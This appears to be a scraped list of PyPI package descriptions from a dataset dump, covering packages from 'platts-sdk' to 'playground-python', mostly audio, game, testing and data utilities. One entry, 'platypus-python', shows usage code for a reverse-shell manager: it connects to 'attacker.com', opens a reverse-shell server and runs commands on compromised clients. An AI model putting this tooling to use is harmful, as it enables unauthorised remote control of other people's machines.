Saravanan666/pypi-org huggingface dataset:
Package: platts-sdk
Platts Python SDKConsuming the Platts API in PythonInstallationpip install platts-sdkGetting Startedimportplatts_sdkasplattstc=platts.TokenClient("username","password","apikey")mdd=platts.MarketData(tc)sym=["PCAAS00","PCAAT00"]cur_df=mdd.get_current_assessments(sym)print(cur_df)mdc="ET"mdc_df=mdd.get_current_assessments_by_mdc(mdc)print(mdc_df)
Package: platypus-conquistador
Platypus Conquistador is a bioinformatic command line tool for the confirmation
of the presence/absence of a specific taxon (or set of taxa) in environmental
shotgun sequence reads. Platypus uses two reference databases: an interest
database (containing sequences of interest) and an other database (containing
all reference library sequences). Platypus uses these databases to generate
data showing the number of sequences to those that are closest to the sequences
of interest, based on similarity, and their sequence match; this information is
also provided for the rest (other) reference database.To start using Platypus, please refer to theinstallation notes;
also check thetutorial.
Package: platypus-python
Platypus-PythonPython SDK for reverse shell sessions managerPlatypus v1.3.1Installpipinstallplatypus-pythonUsageConnect to Platypus endpointimportplatypus_pythonasppp=pp.Platypus("attacker.com",7331)Create a reverse shell serverserver=p.create_server("0.0.0.0",13339)Stop a reverse shell serverserver=servers[0]server.delete()Get all available listening serversservers=p.get_servers()forserverinservers():print(server)Get all online Clients of a serverserver=servers[0]clients=server.get_clients()forclientinclients:print(client)Execute a command on a clientclient=clients[0]client.system("id")
Package: platypus-router
Django-like WSGI router.from router.core import router# Define a controllerdef hello(request, name, template='Hello %s'):return template % name# Register routesrouter.add(r'^/hello/(?P<name>[\w_-]+)/$', hello)router.add(r'^/hello/my/name/is/(?P<name>[\w_-]+)/$', hello, template='Hello my name is %s', name='hello_my_name_is')# Serve WSGI applicationfrom wsgiref.simple_server import make_serverserver = make_server('localhost', 8000, router)server.serve_forever()# Reverse controller URLrouter.reverse(hello, name='Vincent') # /hello/Vincent/router.reverse('hello_my_name_is', name='Vincent') # /hello/my/name/is/Vincent/
Package: platypy
Platypy - A python moduleThis module has a new  feature calledcoolcalci.This coolcalci sub modulewill help you to do arithmetic operations very fast and if you want this colcalci as andifferent module you can install it by the give link :https://pypi.org/project/Coolcalci/and if you want install it by cmd (command prompt) you can type this command:pip install Coolcalciand to import it in platypy so you have to type first to install it :pip install platypyto import it in your project type this :import platypyfrom platypy.coolcalci import *To add something from coolcalcito add something:from platypy.coolcalci import *res = add(1 + 2)print(res)To create questionsThis submodulecreatequestionsandanswerswill help you to create quiz and make questionsvery fast because people would sometimes make many questions in 50 lines of code but this submodule will take 1 line andto install it type this command:Pip install platyquestto import it in your project:from platyquest import *from platypy.createquestionsandanswers import * // to import it from platypyits not a copyright as it is created by me platyquest and platypy.createquestionsandanswersyou can create quiz by this command:createquiz() <-- fill the important requirementsfor creating a single question:question() <-- fill the requirementsTo Change the font of alphabhetFrom this package in platypy you can change the font of alphabhets. The name of this pakage isFontschangeryou can install it from cmd (Command prompt)Pip install platypy.Fontschangeror you can:Pip install FontsfortThis isn't a copyright as you can see the username of module owner is sameTo Use this package you have to type the basic command:from platypy.Fontschangerfontchange(Alphabhet='')          <-- Fill the requirementsOther commands you can learn on my channel :https://www.youtube.com/channel/UCsP5fIAdguQF0muRke5J3zg
Package: platyquest
Platyquest - A moduleTo install platyquestPip installl platyquestTo create questionsThis moduleplatyquestswill help you to create quiz and make questionsvery fast because people would sometimes make many questions in 50 lines of code but this submodule will take 1 line andto install it type this command:Pip install platyquestto import it in your project:from platyquest import *for making 5 question at a time:createquiz() <-- fill the important requirementsfor making a single question:question() <-- fill the requirementsyou can find it n platypy also asplatypy.createquestionsandanswers.you can find the basics in my channel:https://www.youtube.com/channel/UCsP5fIAdguQF0muRke5J3zg
Package: platzky
platzkyBlog engine in pythonHow to run?Install platzky with your favorite dependency management tool (pip install platzky)runflask --app "platzky:create_app(PATH_TO_YOUR_CONFIG_FILE)" runConfigurationFor details checkconfig.yml.tplfile.APIplatzky.config.from_file(path_to_config)- createsplatzkyconfig from file (seeconfig.yml.tpl)platzky.create_app_from_config(config)- createsplatzkyapplication.platzky.sendmail(receiver_email, subject, message)- sends email from configured account
Package: plausible-events
plausible-eventsThis small library allows to easily use thePlausible Events API.Privacy-focused.Uses the open-source andprivacy-focusedPlausible Analytics.
IP addresses are only used to correctly count unique users and for approximate geolocation, but arenever stored(also not byipify, which is used to obtain the public IP address of the caller).Doesn't slow down the main application.Calls to record events are non-blocking, the necessary http requests happen on a separate thread.Doesn't show errors, but tries again.Failed event recordings are re-tried indefinitely, i.e. events aren't lost if network connectivity is temporarily interrupted.Examplesfromplausible_eventsimportPlausibleEvents# create object to record events for your plausible.io domainpe=PlausibleEvents(domain='my.domain.com')# record a page view event with a (hypothetical) pathpe.pageview('/login/user')# record a custom event with additional custom propertiespe.event('my event',dict(os='mac',var='foo'))What is Plausible Analytics?Plausible Analyticsis a transparent and fully open source analytics software. From their website:Plausible isopen source analytics. Our source code is available and accessible on GitHub so anyone can read it, inspect it and review it to verify that our actions match with our words. We welcome feedback and have a public roadmap. If you're happy to manage your own infrastructure, you canself-host Plausibletoo.
Package: play2048
# play2048
간단하게 2048을 만들수 있는 라이브러리 입니다## 사용법
먼저 콘솔에 이걸 입력해주세요` pip install play2048 `그후 [예제](https://github.com/objectiveTM/play2048/blob/main/examples)대로 처주시면 됩니다
Package: playaudio
playaudiopip install playaudioA cross platform solution for playing a sound in MacOS/Windows/Linux.InstallUses the built in system commands to play audio.UsagePythonfromplayaudioimportplayaudioplayaudio("my.mp3")# blocks until sound is played.Command line>pipinstallplayaudio
>playaudio"my.mp3">playaudio# plays an included bell.mp3 sound.DevelopPR's are welcome!To develop software git clone the repo then run. ./activate.shWindowsThis environment requires you to usegit-bash. This library expects a sound card to be installed. If you are running on a server then you will need to install a virtual sound card. Seewindows setup here.LintingRun./lint.shto find linting errors usingpylint,flake8andmypy.Releases:1.0.4: Windows: Supports playing mp3 files1.0.3: Adds ignore_errors=True for playaudio()1.0.2: BELL_FILE -> BELL_MP31.0.1: Fix readme1.0.0: Initial release
Package: play-audio-with-vlc
Play audio with VLC (headless) without blocking the console# Tested with:# Python 3.9.13# Windows 10pipinstallplay-audio-with-vlcfromplay_audio_with_vlcimportplay_with_vlcplay_with_vlc(file=r"F:\misfits-skulls.mp3",vlc_path=None,exit_keys="ctrl+alt+o")
Package: playback
# PlaybackPlayback is an OpenStack provisioning and orchestration library that all of the OpenStack components can be deployed automation with high availability on Ubuntu based operating system(Xenial and trusty) as a pythonic way.## Quick-startfrom playback.api import Horizonremote_user = ‘ubuntu’
remote_hosts = [‘192.168.1.3’, ‘192.168.1.4’]horizon = Horizon(user=remote_user, hosts=remote_hosts)
horizon.install(openstack_host=’192.168.1.2’, memcached_servers=’192.168.1.3:11211,192.168.1.4:11211’, time_zone=’America/New_York’)## Current versionv0.3.9 (Ris)
Improved documents
Package: playbacque
playbacqueLoop play audioUsage>pipinstallplaybacque
>playbacque"audio.wav"RequiresFFmpegon PATHUse Ctrl+C to stop playbackSupports most file formats (as this uses FFmpeg)Supports taking audio from stdin>ffmpeg-i"audio.mp3"-fwavpipe:|playbacque-AdvancedWhen input is from stdin, an internal buffer is automatically used to loop the audioIf input is from a URL (not seekable), pass--bufferto force buffering the audioFor PCM encoded input, ensure it is 48000 Hz signed 16 bit stereo audio, and pass--pcmTo write PCM encoded audio to stdout, pass--outTo specify a specific audio device to output to, pass--device <id>(list devices using--list-devices)On Windows, there is aMicrosoft Sound Mapper - Output, MME (0 in, 2 out)device that redirects to the default output device and also works after disconnectingDevelopmentThis project usesHatchfor project management andhatch-vcsfor getting the version from Git tags when buildingHowever, other tools can be used, such as virtualenv for isolating dependencies, pip to install the project, build to build the project, and twine to publish the projectI recommend usingpipxto install Hatch and hatch-vcsInstall pipx globally>pipinstall--userpipx
>pipxensurepathInstall Hatch 1.0 (currently in prerelease) and inject the hatch-vcs plugin>pipxinstall"hatch>=1.0.0.dev">pipxinjecthatchhatch-vcsRun the project using Hatch>hatchrunplaybacque-VRun linters and tests>hatchrunlint:all
>hatchruntest:allIf you have Python 3.7 - 3.10 all installed for some reason, run tests on all of them>hatchruntest-matrix:all
Package: play-blackjack
General InfoCommand Line Single-player game of Blackjack loosely following the structure/rules outlined in this YouTube video (https://www.youtube.com/watch?v=eyoh-Ku9TCI).The game consists of two rounds. In the first round,Playermakes an initial bet and then two cards are dealt to thePlayeralong with two cards being dealt to theDealerwith the second card face down/not yet revealed. In the last round,Playeris presented with two options: hit or stay. WhenPlayerchooses hit, they are dealt another card by theDealer. WhenPlayerchooses stay, they are deciding to not draw another card so the second card of theDealeris revealed/accounted for. If theDealerscore is less than 16, they are required to draw another card until their score is greater than 16.Playerscore andDealerscore are then compared with the higher score winning.At anytime during game play:IfPlayerorDealerscore is greater than 21 (Blackjack), they bust, other entity wins and the game is over.IfPlayerorDealerscore is equal to 21 (Blackjack), they win, other entity loses and the game is over.IfPlayerwins at Blackjack, they earn 2x their initial bet.At the end of each game, thePlayeris asked if they would like to play again.SetupTo run this project, follow the steps below:$ pip install play-blackjack
$ python -m blackjackAlternatively:$ git clone https://github.com/BenGriffith/blackjack.git
$ cd blackjack
$ python3 -m virtualenv venv
$ source venv/bin/activate
$ pip install -r requirements.txt
$ python -m blackjack
Package: play-cassandra
play cassandrapytest-play support for Cassandra expressions and assertionsMore info and examples on:pytest-play, documentationcookiecutter-qa, seepytest-playin action with a working example if you want to start hackingFeaturesThis project defines a newpytest-playcommand:- provider: play_cassandra
  type: execute
  connection:
    contact_points:
    - 10.1.1.3
    - 10.1.1.4
    - 10.1.1.5
    port: '9042'
    auth_provider:
      username: "$username"
      password: "$password"
  keyspace: users
  query: SELECT name, age, email FROM users WHERE user_id=15
  variable: user1_age
  variable_expression: results[0].age
  assertion: results[0].name == User 1'Twitterpytest-playtweets happens here:@davidemoroCreditsThis package was created withCookiecutterand thecookiecutter-play-plugin(based onaudreyr/cookiecutter-pypackageproject template).CHANGES0.0.4 (2019-01-25)Supports new pytest-play >= 2.0 YAML based syntax (json no more supported)0.0.3 (2018-01-23)speed up cassandra connections with cache0.0.2 (2018-01-22)removed play_python from dependencies (deprecated)0.0.1 (2018-01-16)First release
Package: playdeliver
Upload screenshots, metadata of your app to the Play Store using a
single commanddeliver can upload app screenshots to google play backend.usageUsage:

playdeliver [options] upload <package> <output_dir>
playdeliver [options] init <package> <output_dir>
playdeliver (-h | --help)
playdeliver --version

Options:

-h --help
Show this screen.

--version
Show version.

--service-email=<e>
Account service email. Use this option together with `--key` to pass a
corresponding keyfile for user.

--key=<k>
Path to *.p12 keyfile for user specified with `service-email`

--credentials=<c>
Path to credentials json file. This file is a alternative solution to log
into play. Download the file from play service administration page.

-i --images
Upload/download images default is all

-l --listings
Upload/download listing

-p --inapp
Upload/download inapp productsgoogle loginGoogle login credentials can be passed in different ways. If the credentials
json file is not passed via--credentials,--service-emailand--service-key,
playdeliver will try to find the filepath either in a environment variable
calledPLAY_DELIVER_CREDENTIALSor in the user folder:home/.playdeliver/credentials.json.requirementsOSX (did not test on linux or windows)python 2.7a play service user for you gameinstallwith pippip install playdeliverfrom sourceclone source:pip install -r requirements.txt
python setup.pylicenceMIT License1.1.1 (2015/04/09) Fix package content1.1.0 (2015/04/08) Minor Adjustments+ login via credentials json
+ lookup of credentials file in env and homefolder
+ upload/download inapp packages1.0.0 (2015/03/25) First release
Package: playdoh
Playdoh is a pure Python library for distributing computations across the free computing units
(CPUs and GPUs) available in a small network of multicore computers. Playdoh supports independent
(embarassingly) parallel problems as well as loosely coupled tasks such as global optimizations,
Monte Carlo simulations and numerical integration of partial differential equations. It is designed
to be lightweight and easy to use and should be of interest to scientists wanting to turn their lab
computers into a small cluster at no cost.
Package: play-dynamodb
play dynamodbpytest-play support for AWS DynamoDB queries and assertionsMore info and examples on:pytest-play, documentationcookiecutter-qa, seepytest-playin action with a working example if you want to start hackingFeaturesThis project defines newpytest-playcommands for AWS DynamoDB:- type: dynamodb
  provider: play_dynamodb
  method: get_item
  connection:
    region_name: us-west-2
    endpoint_url: http://localhost:8000
  variable: item
  variable_expression: response
  assertion: item['Item']['AlbumTitle']['S'] == 'Songs About Life'
  TableName: Music
  parameters:
    Key:
      Artist:
        S: Acme Band
      SongTitle:
        S: Happy DaySupported methods:batch_get_itembatch_write_itemdelete_itemget_itemput_itemqueryscanupdate_itemTwitterpytest-playtweets happens here:@davidemoroCreditsThis package was created withCookiecutterand thecookiecutter-play-plugin(based onaudreyr/cookiecutter-pypackageproject template).CHANGES0.0.2 (2019-01-25)Supports new pytest-play >= 2.0 YAML based syntax (json no more supported)0.0.1 (2018-01-31)First release
Package: playerdo
player_do provides a simple command line interface to control whatever media
player is running on your computer. It has been designed for and tested on
Linux.It is designed to allow you to configure the media buttons on your keyboard
(play, pause, next etc.) to Do The Right Thing without having to change anything
if you switch to a different media player.It also includes commandsinstall_gnome,install_mate,install_gnome3, andinstall_cinnamonto help set up keyboard shortcuts
initially on GNOME2/Mate/GNOME3/Cinnamon. It can, however, be used with any
system where you can map keyboard shortcuts to commands.The currently supported media players can be seen by runningplayer_do--help.
Those that have been tested include the following:AudaciousAmarokBansheeClementinecmusExaileGuayadequemocMPD (configurable using MPD_HOST and MPD_PORT environment variables like mpc)pianobarQuodlibetRhythmbox (needs MPRIS plugin installed and enabled)shell-fm (0.8 and later)VLC (2.0 and later)Firefox, Chrome (when playing some media like videos and podcasts)Many other players will be supported due to support for the MPRIS DBUS protocol,
without a specific backend. If you only need support for those players, consider
usingMPRIS-remoteorplayerctl.To add more supported programs, see the existing code in thebackendsdirectory. Patches gratefully received!InstallationYou need Python 3.8 or later. You can use pip to install:pip install playerdoHowever, we recommend the use ofpipxto
install it into its own virtualenv, using your standard system Python 3,
with “system” libraries available (due to the DBUS requirement below):pipx install playerdo --system-site-packages --python `which python3`You also need to install Python DBUS bindings. We recommend doing this at
the system level. On Debian-like systems this is usually done with one of the
following packages:python-dbus
python3-dbusAn alternative to system-level Python DBUS is to use pipx to install them:pipx inject playerdo dbus-python(If an appropriate binary wheel for dbus is not found, the above may require
development packages to be installed, includinglibglib2.0-devandlibdbus-1-devand Python development headers).After installation, you can useplayer_do testto ensure everything expected
is available. It’s normal to see error messages relating to players that you
do not use or have installed.UsageControl the currently active player using commands like:player_do playpause
player_do nextFor all commands and other options, see:player_do --helpLinksDownload:https://pypi.python.org/pypi/playerdoSource code:https://github.com/spookylukey/playerdoBug tracking:https://github.com/spookylukey/playerdo/issuesChanges:https://github.com/spookylukey/playerdo/blob/master/CHANGES.rst
Package: player-on-court
Adding data about players on court in NBA games.player_on_courtpackage allows you to add to  play-by-play data information
about players who were on court at any given time.Important: This package does not request play-by-play data from NBA website.
You need to get them in advance, for example, using nba_api package.https://github.com/swar/nba_apiHow it workPlay-by-play NBA data contains information about each event in the game
(throw, substitution, foul, etc.) and players who participated in it
(PLAYER1_ID, PLAYER2_ID, PLAYER3_ID).From this data, we get a list of players who were on court in this
quarter. Then, we need to filter this list to 10 people who started
quarter. This is done by analyzing substitutions in quarter.I will soon describe a more complete mechanism for processing
play-by-play data to obtain information about players on court in an
article.In package two main functions:adding_player_on_courtandreplace_id_on_name.adding_player_on_courttakes play-by-play data as input and returns it with 10
columns of the PLAYER_ID of players who were on court at each time.replace_on_id_nameallows you to replace PLAYER_ID with first and last name of player.
This allows user to understand exactly which players were on court (few know PLAYER_ID
all players in NBA),but it is not necessary to do this before calculations, because the
player’s NAME_SURNAME is not unique, unlike PLAYER_ID.Code example>>>fromnba_api.stats.endpointsimportplaybyplayv2>>>importplayer_on_court.player_on_courtaspoc>>>>>>pbp=playbyplayv2.PlayByPlayV2(game_id="0022100001").play_by_play.get_data_frame()>>>pbp_with_players=poc.adding_player_on_court(pbp)>>>len(pbp_with_players.columns)-len(pbp.columns)10>>>players_id=list(pbp_with_players.iloc[0,34:].reset_index(drop=True))>>>print(players_id)[201142,1629651,201933,201935,203925,201572,201950,1628960,203114,203507]>>>players_name=poc.replace_id_on_name(players_id)>>>print(players_name)['Kevin Durant','Nic Claxton','Blake Griffin','James Harden','Joe Harris','Brook Lopez','Jrue Holiday','Grayson Allen','Khris Middleton','Giannis Antetokounmpo']You can also replace the PLAYER_ID with the player’s name in the entire data frame at once.>>>cols=["PLAYER1","PLAYER2","PLAYER3","PLAYER4","PLAYER5","PLAYER6","PLAYER7","PLAYER8","PLAYER9","PLAYER10"]>>>pbp_with_players.loc[:,cols]=pbp_with_players.loc[:,cols].apply(poc.replace_id_on_name,result_type="expand")
Package: playfairpolycipher
# Playfair Poly CipherPlayfair Poly Cipher(Polyalphabetic Playfair cipher) is a Python library that provides tools for encrypting and decrypting text using the Playfair Cipher with a customizable key matrix.## InstallationYou can install Poly Playfair Cipher using pip:

```bash
pip install poly-playfair-cipherExampleEncrypting TextfromplayfairpolycipherimportPlayfairCipher# Define a key for the Playfair Cipherkey="KEYWORD"# Initialize the PlayfairCipher with the keycipher=PlayfairCipher(key)# Encrypt a plaintextplaintext="HELLO WORLD"ciphertext=cipher.encrypt(plaintext)print("Ciphertext:",ciphertext)Decrypting TextfromplayfairpolycipherimportPlayfairCipher# Define a key for the Playfair Cipherkey="KEYWORD"# Initialize the PlayfairCipher with the keycipher=PlayfairCipher(key)# Decrypt a ciphertextciphertext="ILIDGJZTJG"plaintext=cipher.decrypt(ciphertext)print("Decrypted Text:",plaintext)LicenseThis project is licensed under the MIT License - see theLICENSEfile for details.
Package: playfilm-shared
Example PackageExceptions and status codeMissingMetricInfoException: 541InvalidAccessTokenException: 542GoogleApiException: 543MissingAccountIdException: 544MissingActionException: 545MissingChannelException: 546QueryDBRequestException: 547FacebookApiException: 548TikTokApiException: 549Example Importfrom playfilm_shared.exceptions import MissingMetricInfoException
Package: playfromtext
playfromtextIntroductionplayfromtextis a Python module designed to simplify the process of playing audio files from text on any operating systems.InstallationTo installplayfromtext, simply run the following command:On Linux/MacOS:pip3 install playfromtextOn Windows:pip install playfromtextUsageUseplayfromtextto play audio files from text by typing the following command:playfromtext <text>FeedbackFell Free to poke around and suggest any changes.
Contact me atpriyanshupatel.hawk@gmail.comLicenseMore on license information can be found in theLICENSEfile.
Package: playground-python
오직|  학생들을 위한  |  우리들을 위한  |놀이터Playground아직 어떠한 기능도 추가되지않았습니다!패키지 설치pip install playground-python라이선스해당 리포지토리는 BSD3 라이선스가 적용됩니다.해당 라이선스는저작권자를 표기해야하며 저작권자가보증 부인을 할 수 있습니다.또한, 저작권자의 이름을 광고에 사용할 수 없습니다.해당 라이브러리를 사용한다 하여도 BSD 라이선스를 적용할 필요가 없습니다. BSD 소프트웨어는 소스 코드 공개의 의무가 없으며 상업적 이용에도 제한받지 않습니다.